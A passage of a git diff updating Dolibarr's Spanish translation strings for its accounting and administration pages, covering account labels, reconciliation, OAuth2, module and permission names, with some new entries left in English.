cliente como cuenta individual en el libro mayor auxiliar para las líneas de anticipos (si está deshabilitada, la cuenta individual para las líneas de anticipos permanecerá vacía) -ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Cuenta contable por defecto para registrar depósito de proveedor +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Cuenta (del Plan Contable) que se utilizará como predeterminada UseAuxiliaryAccountOnSupplierDeposit=Almacene la cuenta del proveedor como cuenta individual en el libro mayor auxiliar para las líneas de anticipos (si está deshabilitada, la cuenta individual para las líneas de anticipos permanecerá vacía) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Cuenta contable por defecto para registrar la garantía retenida por el cliente -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Cuenta contable predeterminada para los productos comprados (usada si no se define en el producto) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Cuenta contable por defecto para los productos comprados en CEE (usada si no se define en el producto) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Cuenta contable por defecto para los productos comprados e importados fuera de la CEE (usada si no se define en el producto) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Cuenta contable predeterminada para los productos vendidos (usada si no se define en el producto) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Cuenta contable predeterminada para los productos vendidos en la CEE (usada si no se define en el producto) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Cuenta contable predeterminada para los productos vendidos fuera de la CEE (usada si no se define en el producto) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Cuenta (del Plan Contable) que se usará como cuenta predeterminada para los productos comprados dentro del mismo país (se usa si no está definida en la hoja del producto) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Cuenta (del Plan Contable) que se usará como cuenta predeterminada para los productos comprados de la UE a otro país de UE (se usa si no está definido en la hoja de producto) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Cuenta (del Plan Contable) que se utilizará como cuenta predeterminada para los productos comprados e importados de cualquier otro país extracomunitario (utilizada si no está definida en la ficha del producto) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Cuenta (del Plan Contable) que se usará como cuenta predeterminada para los productos vendidos (se usa si no está definida en la hoja de producto) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Cuenta (del Plan Contable) que se utilizará como cuenta predeterminada para los productos vendidos desde la UE a otro país de la UE (utilizada si no está definida en la ficha del producto) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Cuenta (del Plan Contable) que se utilizará como cuenta predeterminada para los productos vendidos y exportados a cualquier otro país extracomunitario (utilizada si no está definida en la ficha del producto) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Cuenta contable predeterminada para los servicios comprados (usada si no se define en el servicio) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Cuenta contable por defecto para los servicios comprados en CEE (usada si no se define en el servicio) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Cuenta contable por defecto para los servicios comprados e importados fuera de la CEE (usada si no se define en el servicio) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Cuenta contable predeterminada para los servicios vendidos (usada si no se define en el servicio) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Cuenta contable predeterminada para los servicios vendidos en la CEE (usada si no se define en el servicio) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Cuenta contable predeterminada para los servicios vendidos fuera de la CEE (usada si no se define en el producto) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Cuenta (del Plan Contable) que se usará como cuenta predeterminada para los servicios comprados dentro del mismo país (se usa si no está definida en la hoja de servicios) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Cuenta (del Plan Contable) que se usará como cuenta predeterminada para los servicios comprados de la UE a otro país de UE (se usa si no está definido en la hoja de servicio) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Cuenta (del Plan Contable) que se usará como cuenta predeterminada para los servicios comprados e importados de otro país extracomunitario (se usa si no está definido en la hoja de servicios) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Cuenta (del Plan Contable) que se usará como cuenta predeterminada para los servicios vendidos (se usa si no está definida en la hoja de servicios) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Cuenta (del Plan Contable) que se utilizará como cuenta predeterminada para los servicios vendidos desde la UE a otro país de la UE (utilizada si no está definida en la hoja de servicio) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Cuenta (del Plan Contable) que se usará como cuenta predeterminada para los servicios vendidos y exportados a cualquier otro país extracomunitario (se usa si no está definido en la hoja de servicios) Doctype=Tipo de documento Docdate=Fecha @@ -214,7 +220,8 @@ Codejournal=Diario JournalLabel=Etiqueta del diario NumPiece=Apunte TransactionNumShort=Núm. transacción -AccountingCategory=Grupo personalizado +AccountingCategory=Grupo personalizado de cuentas +AccountingCategories=Grupos de cuentas personalizados GroupByAccountAccounting=Agrupar por cuenta del Libro Mayor GroupBySubAccountAccounting=Agrupar por cuenta de libro mayor auxiliar AccountingAccountGroupsDesc=Puedes definir aquí algunos grupos de cuentas contables. Se usarán para informes de contabilidad personalizados. @@ -231,6 +238,7 @@ ConfirmDeleteMvt=Esto eliminará todas las líneas de contabilidad para el año/ ConfirmDeleteMvtPartial=Esto eliminará la transacción de la contabilidad (se eliminarán todas las líneas relacionadas con la misma transacción) FinanceJournal=Diario financiero ExpenseReportsJournal=Diario informe de gastos +InventoryJournal=Diario de inventario DescFinanceJournal=El diario financiero incluye todos los tipos de pagos por cuenta bancaria DescJournalOnlyBindedVisible=Esta es una vista de registro que está vinculada a una cuenta de contabilidad y se puede registrar en Diarios y Libro mayor. VATAccountNotDefined=Cuenta contable para IVA no definida @@ -262,19 +270,20 @@ ShowSubtotalByGroup=Mostrar subtotal por nivel Pcgtype=Grupo de cuenta PcgtypeDesc=Los grupos de cuentas se utilizan como criterios predefinidos de "filtro" y "agrupación" para algunos informes contables. Por ejemplo, 'INGRESOS' o 'GASTOS' se utilizan como grupos para las cuentas contables de productos para construir el informe de gastos / ingresos. +AccountingCategoriesDesc=El grupo personalizado de cuentas se puede usar para agrupar cuentas contables en un solo nombre para facilitar el uso de filtros o la creación de informes personalizados. Reconcilable=Reconciliable TotalVente=Total facturación antes de impuestos TotalMarge=Total margen ventas -DescVentilCustomer=Consulte aquí la lista de líneas de facturas a clientes enlazadas (o no) a una cuenta contable de producto -DescVentilMore=En la mayoría de los casos, si utiliza productos o servicios predefinidos y establece la cuenta contable en la ficha del producto/servicio, la aplicación será capaz de hacer toda la contabilización entre las líneas de la factura y la cuenta contable de su plan general contable, con un clic en el botón "%s", Si no se ha establecido la cuenta contable en la ficha del producto/servicio o si todavía tiene algunas líneas no contabilizadas a alguna cuenta, tendrá que hacer una contabilización manual desde el menú "%s". -DescVentilDoneCustomer=Consulte aquí las líneas de facturas a clientes y las cuentas contables de sus productos -DescVentilTodoCustomer=Contabilizar líneas de factura aún no contabilizadas con una cuenta contable de producto -ChangeAccount=Cambie la cuenta del producto/servicio para las líneas seleccionadas a la cuenta: +DescVentilCustomer=Consulta aquí la lista de líneas de factura de cliente vinculadas (o no) a una cuenta de producto desde plan de cuentas +DescVentilMore=En la mayoría de los casos, si usa productos o servicios predefinidos y configura la cuenta (desde el plan de cuentas) en la tarjeta de producto/servicio, la aplicación podrá realizar todos los enlaces entre sus líneas de factura y la cuenta contable de su plan. de cuentas, con solo un clic con el botón "%s" . Si la cuenta no se configuró en las tarjetas de productos/servicios o si todavía tiene algunas líneas no vinculadas a una cuenta, deberá realizar un enlace manual desde el menú " %s ". +DescVentilDoneCustomer=Consulta aquí el listado de las líneas de facturas clientes y su cuenta de producto desde plan de cuentas +DescVentilTodoCustomer=Enlazar líneas de factura que aún no están enlazadas con una cuenta de producto del plan de cuentas +ChangeAccount=Cambie la cuenta de producto/servicio (del plan de cuentas) para las líneas seleccionadas con la siguiente cuenta: Vide=- -DescVentilSupplier=Consulte aquí la lista de líneas de facturas de proveedor vinculadas (o no) a una cuenta contable del producto (solo se pueden ver registros que no se han transferido a contabilidad) +DescVentilSupplier=Consulte aquí la lista de líneas de factura de proveedor vinculadas o aún no vinculadas a una cuenta de producto del plan de cuentas (solo se ven los registros que aún no se han transferido en contabilidad) DescVentilDoneSupplier=Consulte aquí las líneas de facturas de proveedores y sus cuentas contables DescVentilTodoExpenseReport=Contabilizar líneas de informes de gastos aún no contabilizadas con una cuenta contable de gastos DescVentilExpenseReport=Consulte aquí la lista de líneas de informes de gastos (o no) a una cuenta contable de gastos @@ -286,20 +295,21 @@ DescClosure=Consulta aquí el número de movimientos por mes aún no validados y OverviewOfMovementsNotValidated=Resumen de movimientos no validados y bloqueados AllMovementsWereRecordedAsValidated=Todos los movimientos fueron registrados como validados y bloqueados. NotAllMovementsCouldBeRecordedAsValidated=No todos los movimientos se pudieron registrar como validados y bloqueados -ValidateMovements=Validar y bloquear registro... +ValidateMovements=Validar y bloquear movimientos... DescValidateMovements=Se prohíbe cualquier modificación o eliminación de registros. Todas las entradas para un ejercicio deben validarse; de lo contrario, no será posible cerrarlo ValidateHistory=Vincular automáticamente AutomaticBindingDone=Vinculaciones automáticas realizadas (%s) - La vinculación automática no es posible para algunos registros (%s) +DoManualBindingForFailedRecord=Tiene que hacer un enlace manual para las filas %s no enlazadas automáticamente. -ErrorAccountancyCodeIsAlreadyUse=Error, no puede eliminar esta cuenta ya que está siendo usada -MvtNotCorrectlyBalanced=Movimiento no equilibrado correctamente. Débito = %s & Crédito = %s +ErrorAccountancyCodeIsAlreadyUse=Error, no puede eliminar o deshabilitar esta cuenta de plan de cuentas porque se usa +MvtNotCorrectlyBalanced=Movimiento descuadrado. Débito = %s & Crédito = %s Balancing=Saldo FicheVentilation=Ficha contable GeneralLedgerIsWritten=Transacciones escritas en el Libro Mayor GeneralLedgerSomeRecordWasNotRecorded=Algunas de las operaciones no pueden contabilizarse. Si no hay otro mensaje de error, es probable que ya estén contabilizadas. NoNewRecordSaved=No más registros para transferir -ListOfProductsWithoutAccountingAccount=Listado de productos sin cuentas contables +ListOfProductsWithoutAccountingAccount=Lista de productos no vinculados a ninguna cuenta o plan de cuentas ChangeBinding=Cambiar la unión Accounted=Contabilizada en el Libro Mayor NotYetAccounted=Aún no contabilizado en el libro mayor @@ -322,9 +332,10 @@ AccountingJournalType1=Operaciones varias AccountingJournalType2=Ventas AccountingJournalType3=Compras AccountingJournalType4=Banco -AccountingJournalType5=Informes de gastos +AccountingJournalType5=Gastos AccountingJournalType8=Inventario AccountingJournalType9=Haber +GenerationOfAccountingEntries=Generación de asientos contables ErrorAccountingJournalIsAlreadyUse=Este diario ya esta siendo usado AccountingAccountForSalesTaxAreDefinedInto=Nota: La cuenta contable del IVA a las ventas se define en el menú %s - %s NumberOfAccountancyEntries=Número de entradas @@ -332,10 +343,14 @@ NumberOfAccountancyMovements=Número de movimientos ACCOUNTING_DISABLE_BINDING_ON_SALES=Deshabilitar la vinculación y la transferencia en la contabilidad de ventas (las facturas de los clientes no se tendrán en cuenta en la contabilidad) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Deshabilitar la vinculación y transferencia en contabilidad en compras (las facturas de proveedores no se tendrán en cuenta en la contabilidad) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Desactive la vinculación y transferencia en contabilidad en informes de gastos (los informes de gastos no se tendrán en cuenta en la contabilidad) +ACCOUNTING_ENABLE_LETTERING=Habilitar la función de letras en la contabilidad. +ACCOUNTING_ENABLE_AUTOLETTERING=Habilite las letras automáticas al transferir a contabilidad ## Export +NotExportLettering=No exportar las letras al generar el archivo. NotifiedExportDate=Marcar las líneas exportadas como Exportadas (para modificar una línea, deberá eliminar toda la transacción y volver a transferirla a contabilidad) NotifiedValidationDate=Valide y bloquee las entradas exportadas (mismo efecto que la función "%s", la modificación y eliminación de las líneas DEFINITIVAMENTE no será posible) +NotifiedExportFull=¿Exportar documentos? DateValidationAndLock=Validación de fecha y bloqueo ConfirmExportFile=¿Confirmación de la generación del archivo de exportación contable? ExportDraftJournal=Exportar libro borrador @@ -392,7 +407,7 @@ SaleLocal=Venta local SaleExport=Venta de exportación SaleEEC=Venta en CEE SaleEECWithVAT=Venta en CEE con un IVA no nulo, por lo que suponemos que esto NO es una venta intracomunitaria y la cuenta sugerida es la cuenta de producto estándar. -SaleEECWithoutVATNumber=Venta en CEE sin IVA pero el ID de IVA de un tercero no está definido. Recurrimos a la cuenta del producto para ventas estándar. Puede corregir el ID de IVA de un tercero o la cuenta del producto si es necesario. +SaleEECWithoutVATNumber=Venta en CEE sin IVA pero no se define el ID de IVA de terceros. Recurrimos a la cuenta para las ventas estándar. Puede corregir el ID de IVA del tercero o cambiar la cuenta de producto sugerida para el enlace si es necesario. ForbiddenTransactionAlreadyExported=Prohibido: La transacción ha sido validada y / o exportada. ForbiddenTransactionAlreadyValidated=Prohibido: la transacción ha sido validada. ## Dictionary @@ -401,7 +416,11 @@ Calculated=Calculado Formula=Fórmula ## Reconcile +LetteringAuto=Conciliar automáticamente +LetteringManual=Conciliar manual Unlettering=No reconciliar +UnletteringAuto=No reconciliar en automático +UnletteringManual=No reconciliar en manual AccountancyNoLetteringModified=Sin reconciliación modificada AccountancyOneLetteringModifiedSuccessfully=Una conciliación modificada con éxito AccountancyLetteringModifiedSuccessfully=%s reconciliación modificada con éxito @@ -410,8 +429,9 @@ AccountancyOneUnletteringModifiedSuccessfully=Una no reconciliada modificada con AccountancyUnletteringModifiedSuccessfully=%s no reconciliado modificado con éxito ## Confirm box -ConfirmMassUnlettering=Confirmación masiva de no conciliación -ConfirmMassUnletteringQuestion=¿Está seguro de que desea anular la conciliación de los registros seleccionados %s? +ConfirmMassUnletteringAuto=Confirmación masiva de anulación de conciliación automática +ConfirmMassUnletteringManual=Confirmación de no conciliación manual masiva +ConfirmMassUnletteringQuestion=¿Está seguro de que desea anular la conciliación de los %sregistros seleccionados? ConfirmMassDeleteBookkeepingWriting=Confirmación de borrado en lote ConfirmMassDeleteBookkeepingWritingQuestion=Esto eliminará la transacción de la contabilidad (se eliminarán todas las líneas relacionadas con la misma transacción). ¿Está seguro de que desea eliminar los %s registros seleccionados? @@ -431,6 +451,7 @@ AccountancyErrorMismatchLetterCode=Discrepancia en el código de conciliación AccountancyErrorMismatchBalanceAmount=El saldo (%s) no es igual a 0 AccountancyErrorLetteringBookkeeping=Se han producido errores con respecto a las transacciones: %s ErrorAccountNumberAlreadyExists=El número de contabilidad %s ya existe +ErrorArchiveAddFile=No se puede poner el archivo "%s" en el archivo ## Import ImportAccountingEntries=Entradas contables @@ -457,6 +478,7 @@ FECFormatMulticurrencyCode=Código multidivisa (Idevise) DateExport=Fecha de exportación WarningReportNotReliable=Advertencia, este informe no se basa en el Libro mayor, por lo que no contiene modificaciones manualmente modificadas en el Libro mayor.. Si su diario está actualizado, la vista contable es más precisa. ExpenseReportJournal=Informe de gastos diario -InventoryJournal=Inventario +DocsAlreadyExportedAreExcluded=Los documentos ya exportados están excluidos +ClickToHideAlreadyExportedLines=Haga clic para ocultar líneas ya exportadas NAccounts=%s cuentas diff --git a/htdocs/langs/es_ES/admin.lang b/htdocs/langs/es_ES/admin.lang index 224ab677fd3..450d4e6462f 100644 --- a/htdocs/langs/es_ES/admin.lang +++ b/htdocs/langs/es_ES/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=Colación de clientes WarningModuleNotActive=El módulo %s debe ser activado WarningOnlyPermissionOfActivatedModules=Atención, solamente los permisos relacionados con los módulos activados se indican aquí. Puede activar los otros módulos en la página Configuración->Módulos DolibarrSetup=Instalación/Actualización de Dolibarr -InternalUser=Usuario interno -ExternalUser=Usuario externo InternalUsers=Usuarios internos ExternalUsers=Usuarios externos UserInterface=Interfaz de usuario @@ -147,6 +145,7 @@ Box=Panel Boxes=Paneles MaxNbOfLinesForBoxes=Número máximo de líneas para paneles AllWidgetsWereEnabled=Todos los widgets disponibles están habilitados +WidgetAvailable=Widget available PositionByDefault=Posición por defecto Position=Posición MenusDesc=Los gestores de menús definen el contenido de las dos barras de menú (horizontal y vertical) @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=Nombre host o ip del servidor SMTP (Por defecto en php.ini MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=Puerto del servidor SMTP (No definido en PHP en sistemas de tipo Unix) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=Nombre servidor o ip del servidor SMTP (No definido en PHP en sistemas de tipo Unix) MAIN_MAIL_EMAIL_FROM=E-mail del remitente para e-mails automáticos (por defecto en php.ini: %s) +EMailHelpMsgSPFDKIM=Para evitar que los correos electrónicos de Dolibarr se clasifiquen como spam, asegúrese de que el servidor esté autorizado para enviar correos electrónicos desde esta dirección mediante la configuración SPF y DKIM. MAIN_MAIL_ERRORS_TO=E-mail a usar para los e-mails de error enviados (campo 'Errors-To' en los emails enviados) MAIN_MAIL_AUTOCOPY_TO= Enviar copia oculta (Bcc) de todos los emails enviados a MAIN_DISABLE_ALL_MAILS=Deshabilitar todos los envíos de e-mail (para propósitos de prueba o demostraciones) @@ -375,7 +375,7 @@ DoTestSendHTML=Probar envío HTML ErrorCantUseRazIfNoYearInMask=Error: no puede utilizar la opción @ para reiniciar el contador cada año si la secuencia {yy} o {yyyy} no se encuentra en la máscara. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Error, no se puede usar la opción @ si la secuencia {yy}{mm} o {yyyy}{mm} no se encuentra en la máscara. UMask=Parámetro UMask de nuevos archivos en Unix/Linux/BSD. -UMaskExplanation=Este parámetro determina los derechos de los archivos creados en el servidor Dolibarr (durante la subida, por ejemplo).
      Este debe ser el valor octal (por ejemplo, 0666 significa lectura / escritura para todos).
      Este parámetro no tiene ningún efecto sobre un servidor Windows. +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=Vea el wiki para más detalles de todos los contribuidores y de su organización UseACacheDelay= Demora en caché de la exportación en segundos (0 o vacio sin caché) DisableLinkToHelpCenter=Ocultar el enlace "Necesita ayuda o soporte" en la página de acceso a la aplicación @@ -439,8 +439,10 @@ Unique=Único Boolean=Boolean (un checkbox) ExtrafieldPhone = Teléfono ExtrafieldPrice = Precio +ExtrafieldPriceWithCurrency=Precio con moneda ExtrafieldMail = Correo ExtrafieldUrl = Url +ExtrafieldIP = IP ExtrafieldSelect = Lista de selección ExtrafieldSelectList = Lista desde una tabla ExtrafieldSeparator=Separador (No es un campo) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=Casilla de verificación ExtrafieldCheckBoxFromList=Casilla de selección de tabla ExtrafieldLink=Objeto adjuntado ComputedFormula=Campo combinado -ComputedFormulaDesc=Puede introducir aquí una fórmula utilizando otras propiedades de objeto o cualquier código PHP para obtener un valor calculado dinámico. Puede utilizar cualquier fórmula compatible con PHP, incluido el operador de condición "?" y los objetos globales siguientes: $db, $conf, $langs, $mysoc, $user, $object.
      ATENCIÓN: Sólo algunas propiedades de $object pueden estar disponibles. Si necesita propiedades no cargadas, solo busque el objeto en su fórmula como en el segundo ejemplo.
      Usar un campo computado significa que no puede ingresar ningún valor desde la interfaz. Además, si hay un error de sintaxis, la fórmula puede que no devuelva nada.

      Ejemplo de fórmula:
      $object->id < 10 ? round($object->id / 2, 2) : ($object->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Ejemlo de recarga de objeto
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetch($obj->id ? $obj->id : ($obj->rowid ? $obj->rowid : $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5 : '-1'

      Otro ejemplo de fórmula para forzar la carga del objeto y su objeto principal:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetch($object->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetch($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref : 'Proyecto principal no encontrado' +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=Almacenar campo combinado ComputedpersistentDesc=Los campos adicionales calculados se almacenarán en la base de datos, sin embargo, el valor solo se volverá a calcular cuando se cambie el objeto de este campo. ¡Si el campo calculado depende de otros objetos o datos globales, este valor podría ser incorrecto! ExtrafieldParamHelpPassword=Mantener este campo vacío significa que el valor se almacenará sin cifrado (el campo permanecerá solo oculto con estrellas en la pantalla).
      Establezca aquí el valor 'auto' para usar la regla de cifrado predeterminada para guardar la contraseña en la base de datos (entonces el valor leído será solo el hash, no hay forma de recuperar el valor original) @@ -501,7 +503,8 @@ WarningPHPMail=ADVERTENCIA: La configuración para enviar correos electrónicos WarningPHPMailA=- El uso del servidor del proveedor de servicios de correo electrónico aumenta la confiabilidad de su correo electrónico, por lo que aumenta la entrega sin ser marcado como SPAM WarningPHPMailB=- Algunos proveedores de servicios de correo electrónico (como Yahoo) no le permiten enviar un correo electrónico desde otro servidor que no sea su propio servidor. Su configuración actual utiliza el servidor de la aplicación para enviar correo electrónico y no el servidor de su proveedor de correo electrónico, por lo que algunos destinatarios (el que es compatible con el protocolo restrictivo DMARC) le preguntarán a su proveedor de correo electrónico si pueden aceptar su correo electrónico y algunos proveedores de correo electrónico. (como Yahoo) puede responder "no" porque el servidor no es de ellos, por lo que es posible que algunos de sus correos electrónicos enviados no sean aceptados para la entrega (tenga cuidado también con la cuota de envío de su proveedor de correo electrónico). WarningPHPMailC=- El uso del servidor SMTP de su propio proveedor de servicios de correo electrónico para enviar correos electrónicos también es interesante, por lo que todos los correos electrónicos enviados desde la aplicación también se guardarán en el directorio "Enviados" de su buzón. -WarningPHPMailD=Además, por lo tanto, se recomienda cambiar el método de envío de correos electrónicos al valor "SMTP". Si realmente desea mantener el método "PHP" predeterminado para enviar correos electrónicos, simplemente ignore esta advertencia o elimínela configurando la constante MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP a 1 en Inicio - Configuración - Otras Configuraciones. +WarningPHPMailD=Por lo tanto, se recomienda cambiar el método de envío de correos electrónicos al valor "SMTP". +WarningPHPMailDbis=Si realmente desea mantener el método "PHP" predeterminado para enviar correos electrónicos, simplemente ignore esta advertencia o elimínela haciendo %sclic aquí%s. WarningPHPMail2=Si su proveedor SMTP de correo electrónico necesita restringir el cliente de correo electrónico a algunas direcciones IP (muy raro), esta es la dirección IP de su aplicación ERP CRM: %s. WarningPHPMailSPF=Si el nombre de dominio en su dirección de correo electrónico del remitente está protegido por un registro SPF (pregunte a su registrador de nombre de dominio), debe agregar las siguientes IP en el registro SPF del DNS de su dominio: %s. ActualMailSPFRecordFound=Registro SPF real encontrado (para el correo electrónico %s): %s @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      Ejemplo:
      Para el formulario para crear u PageUrlForDefaultValuesList=
      Ejemplo:
      Para la página que lista a terceros, es %s .
      Para la URL de los módulos externos instalados en el directorio custom, no incluya "custom/" así que use la ruta como mymodule/mypagelist.php y no custom/mymodule/mypagelist.php.
      Si desea un valor predeterminado solo si url tiene algún parámetro, puede usar %s AlsoDefaultValuesAreEffectiveForActionCreate=También tenga en cuenta que la sobrescritura de valores predeterminados para la creación de formularios funciona solo para las páginas que se diseñaron correctamente (por lo tanto, con el parámetro action = create o presend ...) EnableDefaultValues=Habilitar el uso de valores predeterminados personalizados -EnableOverwriteTranslation=Habilitar el uso de la traducción sobrescrita +EnableOverwriteTranslation=Permitir la personalización de las traducciones GoIntoTranslationMenuToChangeThis=Se ha encontrado una traducción para la clave con este código. Para cambiar este valor, debe editarlo desde Inicio-Configuración-Traducción. WarningSettingSortOrder=Atención, establecer un orden predeterminado puede resultar en un error técnico al pasar a la página de lista si un campo es un campo desconocido. Si experimenta un error de este tipo, vuelva a esta página para eliminar el orden predeterminado y restaurar el comportamiento predeterminado. Field=Campo @@ -643,11 +646,13 @@ Module2300Name=Tareas programadas Module2300Desc=Gestión del Trabajo programado (alias cron) Module2400Name=Eventos/Agenda Module2400Desc=Sigue los eventos o citas. Registra eventos automáticos a fin de realizar seguimiento o registra eventos manuales o reuniones. Este es el módulo más importante para una buena gestión de relaciones con clientes o proveedores. +Module2430Name=Sistema de calendario de reservas +Module2430Desc=Proporcione un calendario en línea para que cualquier persona pueda reservar citas, de acuerdo con rangos o disponibilidades predefinidos. Module2500Name=GED / SGD Module2500Desc=Sistema de Gestión de Documentos / Gestión Electrónica de Contenidos. Organización automática de sus documentos generados o almacenados. Compártalos cuando lo necesite. -Module2600Name=API/Servicios web (servidor SOAP) +Module2600Name=API / Servicios web (servidor SOAP) Module2600Desc=Habilitar los servicios Dolibarr SOAP proporcionando servicios API -Module2610Name=API/Servicios web (servidor REST) +Module2610Name=API / Servicios web (servidor REST) Module2610Desc=Habilitar los servicios Dolibarr REST proporcionando servicios API Module2660Name=Llamada Webservices (Cliente SOAP) Module2660Desc=Activa los servicios web de Dolibarr (puede ser utilizado para grabar datos/solicitudes de servidores externos. De momento solo se soporta pedidos a proveedor) @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=Capacidades de conversión GeoIP Maxmind Module3200Name=Archivos inalterables Module3200Desc=Activar el registro inalterable de eventos empresariales. Los eventos se archivan en tiempo real. El registro es una tabla de sucesos encadenados que se pueden leer y exportar. Este módulo puede ser obligatorio en algunos países. +Module3300Name=Constructor de módulos +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. Module3400Name=Redes sociales Module3400Desc=Habilita campos de Redes Sociales en terceros y direcciones (skype, twitter, facebook...). Module4000Name=RRHH @@ -698,7 +705,10 @@ Module62000Name=Incoterms Module62000Desc=Añade funciones para gestionar Incoterm Module63000Name=Recursos Module63000Desc=Gestiona recursos (impresoras, automóviles, salas, ...) para compartirlos en los eventos -Permission11=Consultar facturas +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=Recepciones +Permission11=Read customer invoices (and payments) Permission12=Crear/Modificar facturas Permission13=Desvalidar facturas de cliente Permission14=Validar facturas @@ -842,9 +852,9 @@ Permission286=Exportar contactos Permission291=Consultar tarifas Permission292=Definir permisos sobre las tarifas Permission293=Modificar tarifas de clientes -Permission300=Leer códigos de barras -Permission301=Crear/modificar códigos de barras -Permission302=Eliminar códigos de barras +Permission301=Generar hojas de códigos de barras +Permission304=Crear/modificar códigos de barras +Permission305=Eliminar códigos de barras Permission311=Consultar servicios Permission312=Asignar servicios/suscripciones a un contrato Permission331=Consultar marcadores @@ -940,7 +950,7 @@ Permission1190=Aprobar (segunda aprobación) pedidos a proveedores Permission1191=Exportar pedidos a proveedor y sus atributos Permission1201=Obtener resultado de una exportación Permission1202=Crear/codificar exportaciones -Permission1231=Leer facturas de proveedor +Permission1231=Read vendor invoices (and payments) Permission1232=Crear/modificar factura de proveedor Permission1233=Validar facturas de proveedor Permission1234=Eliminar facturas de proveedor @@ -971,13 +981,14 @@ Permission3301=Generar nuevos módulos Permission4001=Leer habilidad/trabajo/puesto Permission4002=Crear/modificar habilidad/trabajo/puesto Permission4003=Eliminar habilidad/trabajo/puesto -Permission4020=Leer evaluaciones -Permission4021=Crear/modificar tu evaluación -Permission4022=Validar evaluación -Permission4023=Eliminar evaluación -Permission4030=Ver menú de comparación +Permission4021=Leer evaluaciones (tuyas y de tus subordinados) +Permission4022=Crear/modificar evaluaciones +Permission4023=Validar evaluación +Permission4025=Eliminar evaluación +Permission4028=Ver menú de comparación Permission4031=Leer información personal Permission4032=escribir información personal +Permission4033=Leer todas las evaluaciones (incluso las de usuarios no subordinados) Permission10001=Leer contenido del sitio web Permission10002=Crear modificar contenido del sitio web (contenido html y javascript) Permission10003=Crear/modificar contenido del sitio web (código php dinámico). Peligroso, debe reservarse a desarrolladores restringidos. @@ -1081,6 +1092,10 @@ DictionaryAssetDisposalType=Tipo de disposición de activos TypeOfUnit=Tipo de unidad SetupSaved=Configuración guardada SetupNotSaved=Configuración no guardada +OAuthServiceConfirmDeleteTitle=Eliminar entrada de OAuth +OAuthServiceConfirmDeleteMessage=¿Está seguro de que desea eliminar esta entrada de OAuth? Todos los tokens existentes para él también se eliminarán. +ErrorInEntryDeletion=Error en la eliminación de la entrada +EntryDeleted=Entrada eliminada BackToModuleList=Volver al listado de módulos BackToDictionaryList=Volver al listado de diccionarios TypeOfRevenueStamp=Tipos de sellos fiscales @@ -1222,7 +1237,7 @@ SetupDescription4=%s -> %s

